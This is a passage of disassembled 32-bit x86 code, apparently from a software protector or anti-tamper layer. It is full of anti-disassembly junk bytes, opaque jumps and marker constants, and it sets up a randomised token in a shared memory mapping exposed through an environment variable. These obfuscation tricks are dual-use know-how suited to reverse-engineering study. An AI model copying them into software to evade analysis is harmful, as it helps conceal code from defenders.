		xor	eax, dword_4ED3FC
		xor	eax, dword_4ED3F0
		and	eax, 4
		test	eax, eax
		jz	short loc_4B8623
		mov	byte_4F4741, 1


loc_4B8623:				; CODE XREF: .text:004B861Aj
		pusha
		xor	eax, eax
		jnz	short loc_4B862A
		jmp	short loc_4B863F
; ---------------------------------------------------------------------------


loc_4B862A:				; CODE XREF: .text:004B8626j
		jmp	short loc_4B865F
; ---------------------------------------------------------------------------
		dd 7A1875C0h
		db 0Ch
; ---------------------------------------------------------------------------


loc_4B8631:				; CODE XREF: .text:loc_4B863Fj
		jo	short loc_4B8641
		jmp	short near ptr loc_4B8641+1
; ---------------------------------------------------------------------------
		db 0E8h, 72h, 0Eh
		dd 15FFF179h
		db 0, 79h, 9
; ---------------------------------------------------------------------------


loc_4B863F:				; CODE XREF: .text:004B8628j
		jz	short loc_4B8631


loc_4B8641:				; CODE XREF: .text:loc_4B8631j
					; .text:004B8633j
		jmp	short near ptr loc_4B85C4+6
; ---------------------------------------------------------------------------
		fstp	tbyte ptr [edx-10h]
		mov	al, ds:0F7506133h
		ror	byte ptr [edi],	1
		enter	7358h, 0
		pushf
		pusha
		jmp	short loc_4B8680 ; CODE	XREF: .text:loc_4B8680j
; ---------------------------------------------------------------------------
		db 0D2h, 70h
; ---------------------------------------------------------------------------


loc_4B8657:				; CODE XREF: .text:loc_4B86CEj
		push	cs


loc_4B8658:				; CODE XREF: .text:004B8679j
		jmp	short loc_4B8677
; ---------------------------------------------------------------------------


loc_4B865A:				; CODE XREF: .text:loc_4B8677j
		xor	ecx, ecx


loc_4B865C:				; CODE XREF: .text:004B866Bj
		jz	short $+2
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B865F:				; CODE XREF: .text:loc_4B862Aj
					; .text:004B8674j
		adc	cl, bh
		xor	ecx, 3
		jz	short near ptr loc_4B85F4+2
		jmp	short loc_4B866D
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4B8669:				; CODE XREF: .text:loc_4B866Dj
		jmp	short loc_4B867B
; ---------------------------------------------------------------------------
		jz	short loc_4B865C


loc_4B866D:				; CODE XREF: .text:004B8666j
		jnb	short loc_4B8669
		repne sbb bl, bl
		xor	ebx, ebx
		jmp	short near ptr loc_4B865F+1
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4B8677:				; CODE XREF: .text:loc_4B8658j
		jmp	short loc_4B865A
; ---------------------------------------------------------------------------
		jmp	short loc_4B8658
; ---------------------------------------------------------------------------


loc_4B867B:				; CODE XREF: .text:loc_4B8669j
		repne sbb al, 0DBh
		jmp	short loc_4B8683
; ---------------------------------------------------------------------------


loc_4B8680:				; CODE XREF: .text:004B8653j
		jmp	short near ptr loc_4B8653+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4B8683:				; CODE XREF: .text:004B867Ej
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		mov	ecx, dword_4ED3B0
		xor	ecx, dword_4ED3FC
		xor	ecx, dword_4ED3F0
		and	ecx, 200h
		test	ecx, ecx
		jz	short loc_4B86B0
		mov	byte_4F4743, 1


loc_4B86B0:				; CODE XREF: .text:004B86A7j
		pusha
		xor	eax, eax
		jnz	short loc_4B86B7
		jmp	short loc_4B86CC
; ---------------------------------------------------------------------------


loc_4B86B7:				; CODE XREF: .text:004B86B3j
		jmp	short loc_4B86EC
; ---------------------------------------------------------------------------
		db 0C0h, 75h, 18h
		db 7Ah,	0Ch
; ---------------------------------------------------------------------------


loc_4B86BE:				; CODE XREF: .text:loc_4B86CCj
		jo	short loc_4B86CE
		jmp	short near ptr loc_4B86CE+1
; ---------------------------------------------------------------------------
		dw 72E8h
		dd 0FFF1790Eh, 9790015h
; ---------------------------------------------------------------------------


loc_4B86CC:				; CODE XREF: .text:004B86B5j
		jz	short loc_4B86BE


loc_4B86CE:				; CODE XREF: .text:loc_4B86BEj
					; .text:004B86C0j
		jmp	short loc_4B8657
; ---------------------------------------------------------------------------
		dd 0A0F07ADBh, 6A6133h,	0D05015FFh, 158B004Eh, 4ED3C0h
		dd 0D3FC1533h, 1533004Eh
; ---------------------------------------------------------------------------


loc_4B86EC:				; CODE XREF: .text:loc_4B86B7j
		and	ah, dl
		dec	esi
		add	[ebx], al
		retn	54A3h
; ---------------------------------------------------------------------------
		inc	edi
		dec	edi
		add	[ecx+0Fh], dl
		leave
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4B871A


loc_4B8717:				; CODE XREF: .text:004B8738j
		jmp	short near ptr loc_4B873A+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B871A:				; CODE XREF: .text:004B8715j
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4B872D
; ---------------------------------------------------------------------------
		db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4B8723:				; CODE XREF: .text:004B872Fj
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4B8731
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B872D:				; CODE XREF: .text:004B871Ej
		xor	eax, eax
		jz	short loc_4B8723


loc_4B8731:				; CODE XREF: .text:004B872Aj
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4B8717


loc_4B873A:				; CODE XREF: .text:loc_4B8717j
		jmp	near ptr 92B224A0h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		mov	eax, dword_4ED3C4
		xor	eax, dword_4ED41C
		xor	eax, dword_4ED3F0
		add	eax, 0FFFh
		shr	eax, 0Ch
		mov	dword_4F4768, eax
		jo	short loc_4B876A
		jl	short loc_4B8768


loc_4B8765:				; CODE XREF: .text:loc_4B8768j
					; .text:loc_4B876Aj
		jmp	short loc_4B876C
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4B8768:				; CODE XREF: .text:004B8763j
		jz	short loc_4B8765


loc_4B876A:				; CODE XREF: .text:004B8761j
		jmp	short loc_4B8765
; ---------------------------------------------------------------------------


loc_4B876C:				; CODE XREF: .text:loc_4B8765j
		mov	dword ptr [ebp-38h], 0
		mov	dword ptr [ebp-104h], 0FFFFFFFFh
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4B87A0 ; CODE	XREF: .text:loc_4B8813j


loc_4B879D:				; CODE XREF: .text:004B87BEj
		jmp	short near ptr loc_4B87C0+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B87A0:				; CODE XREF: .text:004B879Bj
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4B87B3
; ---------------------------------------------------------------------------
		dw 0EBB8h
		db 0Fh
; ---------------------------------------------------------------------------


loc_4B87A9:				; CODE XREF: .text:004B87B5j
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4B87B7
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B87B3:				; CODE XREF: .text:004B87A4j
		xor	eax, eax
		jz	short loc_4B87A9


loc_4B87B7:				; CODE XREF: .text:004B87B0j
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4B879D


loc_4B87C0:				; CODE XREF: .text:loc_4B879Dj
		jmp	near ptr 92B22526h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		push	0
		call	_time_0
		add	esp, 4
		mov	esi, eax
		call	dword_4ED03C	; GetTickCount
		xor	esi, eax
		xor	esi, dword_4ED420
		mov	[ebp-191Ch], esi
		mov	ecx, [ebp-191Ch]
		mov	[ebp-324h], ecx
		pusha
		xor	eax, eax
		jnz	short loc_4B87FC
		jmp	short loc_4B8811
; ---------------------------------------------------------------------------


loc_4B87FC:				; CODE XREF: .text:004B87F8j
		jmp	short loc_4B8831
; ---------------------------------------------------------------------------
		dw 75C0h
; ---------------------------------------------------------------------------
		sbb	[edx+0Ch], bh


loc_4B8803:				; CODE XREF: .text:loc_4B8811j
		jo	short loc_4B8813
		jmp	short near ptr loc_4B8813+1
; ---------------------------------------------------------------------------
		db 0E8h
		dd 0F1790E72h, 790015FFh
		db 9
; ---------------------------------------------------------------------------


loc_4B8811:				; CODE XREF: .text:004B87FAj
		jz	short loc_4B8803


loc_4B8813:				; CODE XREF: .text:loc_4B8803j
					; .text:004B8805j
		jmp	short near ptr loc_4B879B+1
; ---------------------------------------------------------------------------
		db 0DBh, 7Ah, 0F0h
		dd 0C76133A0h, 0FFE6C085h, 100FFh, 0DC858B00h, 99FFFFFCh
		dd 2710B9h
		db 0
; ---------------------------------------------------------------------------


loc_4B8831:				; CODE XREF: .text:loc_4B87FCj
		idiv	ecx
		mov	[ebp-1934h], eax
		mov	eax, [ebp-324h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1930h], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-193Ch], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1938h], edx
		mov	ecx, [ebp-1930h]
		imul	ecx, [ebp-1938h]
		mov	edx, [ebp-1934h]
		imul	edx, [ebp-1938h]
		mov	eax, [ebp-1930h]
		imul	eax, [ebp-193Ch]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	[ebp-324h], edx
		mov	eax, [ebp-324h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp-1940h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp-192Ch], eax
		mov	dword ptr [ebp-1954h], 100h
		mov	eax, [ebp-324h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1948h], eax
		mov	eax, [ebp-324h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1944h], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1950h], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-194Ch], edx
		mov	ecx, [ebp-1944h]
		imul	ecx, [ebp-194Ch]
		mov	edx, [ebp-1948h]
		imul	edx, [ebp-194Ch]
		mov	eax, [ebp-1944h]
		imul	eax, [ebp-1950h]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	[ebp-324h], edx
		mov	eax, [ebp-324h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp-1954h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp-1920h], eax
		mov	dword ptr [ebp-1968h], 100h
		mov	eax, [ebp-324h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-195Ch], eax
		mov	eax, [ebp-324h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1958h], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1964h], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1960h], edx
		mov	ecx, [ebp-1958h]
		imul	ecx, [ebp-1960h]
		mov	edx, [ebp-195Ch]
		imul	edx, [ebp-1960h]
		mov	eax, [ebp-1958h]
		imul	eax, [ebp-1964h]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	[ebp-324h], edx
		mov	eax, [ebp-324h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp-1968h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp-1924h], eax
		mov	dword ptr [ebp-197Ch], 100h
		mov	eax, [ebp-324h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1970h], eax
		mov	eax, [ebp-324h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-196Ch], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1978h], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1974h], edx
		mov	ecx, [ebp-196Ch]
		imul	ecx, [ebp-1974h]
		mov	edx, [ebp-1970h]
		imul	edx, [ebp-1974h]
		mov	eax, [ebp-196Ch]
		imul	eax, [ebp-1978h]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	[ebp-324h], edx
		mov	eax, [ebp-324h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp-197Ch]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp-1928h], eax
		mov	edx, [ebp-1924h]
		shl	edx, 8
		mov	eax, [ebp-1920h]
		shl	eax, 10h
		mov	ecx, [ebp-192Ch]
		shl	ecx, 18h
		or	ecx, eax
		or	ecx, edx
		or	ecx, [ebp-1928h]
		mov	[ebp-38h], ecx
		jo	short loc_4B8BB8
		jl	short loc_4B8BB6


loc_4B8BB3:				; CODE XREF: .text:loc_4B8BB6j
					; .text:loc_4B8BB8j ...
		jmp	short loc_4B8BBA
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4B8BB6:				; CODE XREF: .text:004B8BB1j
		jz	short loc_4B8BB3


loc_4B8BB8:				; CODE XREF: .text:004B8BAFj
		jmp	short loc_4B8BB3
; ---------------------------------------------------------------------------


loc_4B8BBA:				; CODE XREF: .text:loc_4B8BB3j
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4B8BDD


loc_4B8BDA:				; CODE XREF: .text:004B8BFBj
		jmp	short near ptr loc_4B8BFD+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B8BDD:				; CODE XREF: .text:004B8BD8j
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4B8BF0
; ---------------------------------------------------------------------------
		db 0B8h
		db 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4B8BE6:				; CODE XREF: .text:004B8BF2j
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4B8BF4
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B8BF0:				; CODE XREF: .text:004B8BE1j
		xor	eax, eax
		jz	short loc_4B8BE6


loc_4B8BF4:				; CODE XREF: .text:004B8BEDj
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4B8BDA


loc_4B8BFD:				; CODE XREF: .text:loc_4B8BDAj
		jmp	near ptr 92B22963h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha


loc_4B8C10:				; CODE XREF: .text:loc_4B8C87j
					; .text:loc_4B8C3Dj
		jmp	short loc_4B8C3D
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4B8C15:				; CODE XREF: .text:004B8C36j
		jmp	short loc_4B8C34
; ---------------------------------------------------------------------------


loc_4B8C17:				; CODE XREF: .text:loc_4B8C34j
		xor	ecx, ecx


loc_4B8C19:				; CODE XREF: .text:004B8C28j
		jz	short $+2
		jmp	short loc_4B8C2D
; ---------------------------------------------------------------------------


loc_4B8C1D:				; CODE XREF: .text:004B8C31j
		stc
		xor	ecx, 3
		jz	short loc_4B8BB3
		jmp	short loc_4B8C2A
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4B8C26:				; CODE XREF: .text:loc_4B8C2Aj
		jmp	short loc_4B8C38
; ---------------------------------------------------------------------------
		jz	short loc_4B8C19


loc_4B8C2A:				; CODE XREF: .text:004B8C23j
		jnb	short loc_4B8C26
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4B8C2D:				; CODE XREF: .text:004B8C1Bj
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4B8C1D
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4B8C34:				; CODE XREF: .text:loc_4B8C15j
		jmp	short loc_4B8C17
; ---------------------------------------------------------------------------
		jmp	short loc_4B8C15
; ---------------------------------------------------------------------------


loc_4B8C38:				; CODE XREF: .text:loc_4B8C26j
		repne sbb al, 0DBh
		jmp	short loc_4B8C40
; ---------------------------------------------------------------------------


loc_4B8C3D:				; CODE XREF: .text:loc_4B8C10j
		jmp	short near ptr loc_4B8C10+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4B8C40:				; CODE XREF: .text:004B8C3Bj
		popa
		popf
		bswap	eax
		not	ecx


loc_4B8C46:				; CODE XREF: .text:004B8CB4j
		bswap	eax
		not	ecx
		mov	dword ptr [ebp-31Ch], 0Ch
		jo	short loc_4B8C5D
		jl	short loc_4B8C5B


loc_4B8C58:				; CODE XREF: .text:loc_4B8C5Bj
					; .text:loc_4B8C5Dj
		jmp	short loc_4B8C5F
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4B8C5B:				; CODE XREF: .text:004B8C56j
		jz	short loc_4B8C58


loc_4B8C5D:				; CODE XREF: .text:004B8C54j
		jmp	short loc_4B8C58
; ---------------------------------------------------------------------------


loc_4B8C5F:				; CODE XREF: .text:loc_4B8C58j
		mov	dword ptr [ebp-318h], 0
		pusha
		xor	eax, eax
		jnz	short loc_4B8C70
		jmp	short loc_4B8C85
; ---------------------------------------------------------------------------


loc_4B8C70:				; CODE XREF: .text:004B8C6Cj
		jmp	short loc_4B8CA5
; ---------------------------------------------------------------------------
		dw 75C0h
; ---------------------------------------------------------------------------
		sbb	[edx+0Ch], bh


loc_4B8C77:				; CODE XREF: .text:loc_4B8C85j
		jo	short loc_4B8C87
		jmp	short near ptr loc_4B8C87+1
; ---------------------------------------------------------------------------
		db 0E8h
		dd 0F1790E72h, 790015FFh
		db 9
; ---------------------------------------------------------------------------


loc_4B8C85:				; CODE XREF: .text:004B8C6Ej
		jz	short loc_4B8C77


loc_4B8C87:				; CODE XREF: .text:loc_4B8C77j
					; .text:004B8C79j
		jmp	short loc_4B8C10
; ---------------------------------------------------------------------------
		db 0DBh, 7Ah, 0F0h
		dd 0C76133A0h, 0FFFCEC85h, 1FFh, 0D0F75000h, 7358C80Fh
		dd 0EB609C00h
		db 2Bh
; ---------------------------------------------------------------------------


loc_4B8CA5:				; CODE XREF: .text:loc_4B8C70j
		sal	byte ptr [eax+0Eh], cl


loc_4B8CA8:				; CODE XREF: .text:004B8CC9j
		jmp	short loc_4B8CC7
; ---------------------------------------------------------------------------


loc_4B8CAA:				; CODE XREF: .text:loc_4B8CC7j
		xor	ecx, ecx


loc_4B8CAC:				; CODE XREF: .text:004B8CBBj
		jz	short $+2
		jmp	short loc_4B8CC0
; ---------------------------------------------------------------------------


loc_4B8CB0:				; CODE XREF: .text:004B8CC4j
		stc
		xor	ecx, 3
		jz	short loc_4B8C46
		jmp	short loc_4B8CBD
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4B8CB9:				; CODE XREF: .text:loc_4B8CBDj
		jmp	short loc_4B8CCB
; ---------------------------------------------------------------------------
		jz	short loc_4B8CAC


loc_4B8CBD:				; CODE XREF: .text:004B8CB6j
		jnb	short loc_4B8CB9
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4B8CC0:				; CODE XREF: .text:004B8CAEj
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4B8CB0
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4B8CC7:				; CODE XREF: .text:loc_4B8CA8j
		jmp	short loc_4B8CAA
; ---------------------------------------------------------------------------
		jmp	short loc_4B8CA8
; ---------------------------------------------------------------------------


loc_4B8CCB:				; CODE XREF: .text:loc_4B8CB9j
		repne sbb al, 0DBh
		jmp	short loc_4B8CD3
; ---------------------------------------------------------------------------
		db 0EBh, 0D2h, 0B8h
; ---------------------------------------------------------------------------


loc_4B8CD3:				; CODE XREF: .text:004B8CCEj
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		push	0
		push	1000h
		push	0
		push	4
		lea	edx, [ebp-31Ch]
		push	edx
		push	0FFFFFFFFh
		call	dword_4ED10C	; CreateFileMappingA
		mov	[ebp-104h], eax
		cmp	dword ptr [ebp-104h], 0
		jnz	short loc_4B8D0D
		xor	al, al
		jmp	loc_4BC14E
; ---------------------------------------------------------------------------


loc_4B8D0D:				; CODE XREF: .text:004B8D04j
		call	dword_4ED108	; GetCurrentProcess
		mov	[ebp-320h], eax
		mov	dword ptr [ebp-328h], 0
		push	2
		push	1
		push	0
		lea	eax, [ebp-328h]
		push	eax
		mov	ecx, [ebp-320h]
		push	ecx
		mov	edx, [ebp-320h]
		push	edx
		mov	eax, [ebp-320h]
		push	eax
		call	dword_4ED104	; DuplicateHandle
		push	1000h
		push	0
		push	0
		push	2
		mov	ecx, [ebp-104h]
		push	ecx
		call	dword_4ED100	; MapViewOfFile
		mov	dword_4F4764, eax
		xor	edx, edx
		mov	dl, byte_4F435C
		test	edx, edx
		jz	loc_4B9111
		mov	dword ptr [ebp-19A0h], 100h
		mov	eax, [ebp-324h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1994h], eax
		mov	eax, [ebp-324h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1990h], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-199Ch], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1998h], edx
		mov	ecx, [ebp-1990h]
		imul	ecx, [ebp-1998h]
		mov	edx, [ebp-1994h]
		imul	edx, [ebp-1998h]
		mov	eax, [ebp-1990h]
		imul	eax, [ebp-199Ch]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	[ebp-324h], edx
		mov	eax, [ebp-324h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp-19A0h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp-198Ch], eax
		mov	dword ptr [ebp-19B4h], 100h
		mov	eax, [ebp-324h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-19A8h], eax
		mov	eax, [ebp-324h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-19A4h], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-19B0h], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-19ACh], edx
		mov	ecx, [ebp-19A4h]
		imul	ecx, [ebp-19ACh]
		mov	edx, [ebp-19A8h]
		imul	edx, [ebp-19ACh]
		mov	eax, [ebp-19A4h]
		imul	eax, [ebp-19B0h]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	[ebp-324h], edx
		mov	eax, [ebp-324h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp-19B4h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp-1980h], eax
		mov	dword ptr [ebp-19C8h], 100h
		mov	eax, [ebp-324h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-19BCh], eax
		mov	eax, [ebp-324h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-19B8h], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-19C4h], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-19C0h], edx
		mov	ecx, [ebp-19B8h]
		imul	ecx, [ebp-19C0h]
		mov	edx, [ebp-19BCh]
		imul	edx, [ebp-19C0h]
		mov	eax, [ebp-19B8h]
		imul	eax, [ebp-19C4h]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	[ebp-324h], edx
		mov	eax, [ebp-324h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp-19C8h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp-1984h], eax
		mov	dword ptr [ebp-19DCh], 100h
		mov	eax, [ebp-324h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-19D0h], eax
		mov	eax, [ebp-324h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-19CCh], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-19D8h], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-19D4h], edx
		mov	ecx, [ebp-19CCh]
		imul	ecx, [ebp-19D4h]
		mov	edx, [ebp-19D0h]
		imul	edx, [ebp-19D4h]
		mov	eax, [ebp-19CCh]
		imul	eax, [ebp-19D8h]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	[ebp-324h], edx
		mov	eax, [ebp-324h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp-19DCh]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp-1988h], eax
		mov	edx, [ebp-1984h]
		shl	edx, 8
		mov	eax, [ebp-1980h]
		shl	eax, 10h
		mov	ecx, [ebp-198Ch]
		shl	ecx, 18h
		or	ecx, eax
		or	ecx, edx
		or	ecx, [ebp-1988h]
		mov	[ebp-1AA0h], ecx
		jmp	short loc_4B911A
; ---------------------------------------------------------------------------


loc_4B9111:				; CODE XREF: .text:004B8D72j
		mov	edx, [ebp-38h]
		mov	[ebp-1AA0h], edx


loc_4B911A:				; CODE XREF: .text:004B910Fj
		mov	eax, [ebp-1AA0h]
		xor	eax, dword_4ED41C
		xor	eax, dword_4ED424
		xor	eax, dword_4ED3EC
		xor	eax, dword_4ED428
		xor	eax, dword_4ED3AC
		mov	ecx, dword_4F4764
		mov	[ecx], eax
		mov	edx, dword_4F4764
		mov	eax, [ebp-328h]
		mov	[edx+4], eax
		call	dword_4ED1B8	; GetCurrentProcessId
		mov	ecx, dword_4F4764
		mov	[ecx+8], eax
		mov	edx, dword_4F4764
		mov	dword ptr [edx+20h], 0
		mov	eax, [ebp-104h]
		push	eax
		push	offset dword_4EDD0C
		lea	ecx, [ebp-310h]
		push	ecx
		call	_sprintf_0
		add	esp, 0Ch
		lea	edx, [ebp-310h]
		push	edx
		push	offset off_4EDD08
		call	dword_4ED098	; SetEnvironmentVariableA
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
